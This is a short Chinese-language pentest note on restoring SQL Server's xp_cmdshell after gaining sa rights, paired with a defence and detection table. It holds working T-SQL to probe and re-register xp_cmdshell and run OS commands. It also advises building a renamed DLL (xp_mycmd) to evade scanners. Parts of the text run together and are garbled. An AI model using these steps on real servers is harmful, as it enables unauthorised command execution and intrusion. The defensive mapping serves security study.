本文記錄駭客取得 sa 權限後,如何偵測並恢復被移除的 xp_cmdshell、繞過 xplog70.dll 缺失限制,以及防禦方應採取的根本對策。**僅供授權滲透測試與防禦研究使用**。
-- 查詢是否存在
SELECT * FROM sysobjects WHERE xtype = 'X' AND name = 'xp_cmdshell';
-- 嘗試執行
EXEC master..xp_cmdshell 'dir c:\';
-- 若回傳「SQL_ERROR」或「無法找到擴充預存程序」→ 已被移除或 DLL 遺失
EXEC sp_addextendedproc 'xp_cmdshell', 'xplog70.dll'; -- SQL 2000
-- SQL 7.0 用 'xpsql70.dll'
%ssp_addextendedproc 'xp_cmdshell','xplog70.dll'sp_dropextendedproc 'xp_cmdshell'執行 sp_addextendedproc 提示「資料庫中已存在名為 'xp_cmdshell' 的物件」,但實際執行失敗 → DLL 檔案遺失或被替換。
xplog70.dll (SQL 2000 安裝光碟 \x86\binn\、SP4 安裝包、備份伺服器 C:\Program Files\Microsoft SQL Server\MSSQL\Binn\)Binn 目錄sp_addextendedproc編譯簡單 C++ DLL 匯出 GetCommand 函數,註冊為 xp_mycmd,功能等同 xp_cmdshell 但名稱不同,難被自動化掃描發現。
| 階段 | 駭客行為 | 根本防禦 | 偵測指標 |
|---|---|---|---|
| 取得 sa | SQL 注入、弱密碼暴力、提權 | Windows 驗證、強密碼、帳號鎖定、禁用 sa | 登入失敗 4625、非預期 IP 登入 |
| 偵測 xp_cmdshell | 查詢 sysobjects、嘗試執行 | 永久移除 sp_dropextendedproc | 審核 EXECUTE xp_cmdshell |
| 恢復 xp_cmdshell | sp_addextendedproc | DLL 白名單 (AppLocker)、檔案完整性監控 (FIM) | sysobjects 新增 X 型別、Binn 目錄寫入 |
| 執行 OS 命令 | net user、建立排程工作、下載惡意碼 | 服務帳號非管理員、應用程式白名單、網路出站封鎖 | Process Creation 4688、網路連線 |
xp_cmdshell 預設**停用**,需 sp_configure 'xp_cmdshell', 1; RECONFIGURE; 才能啟用 (需 sysadmin)sp_configure 'clr enabled', 1,簽署組件、權限集 EXTERNAL_ACCESS 或 SAFExp_cmdshell = 0、CLR = 0 合規基線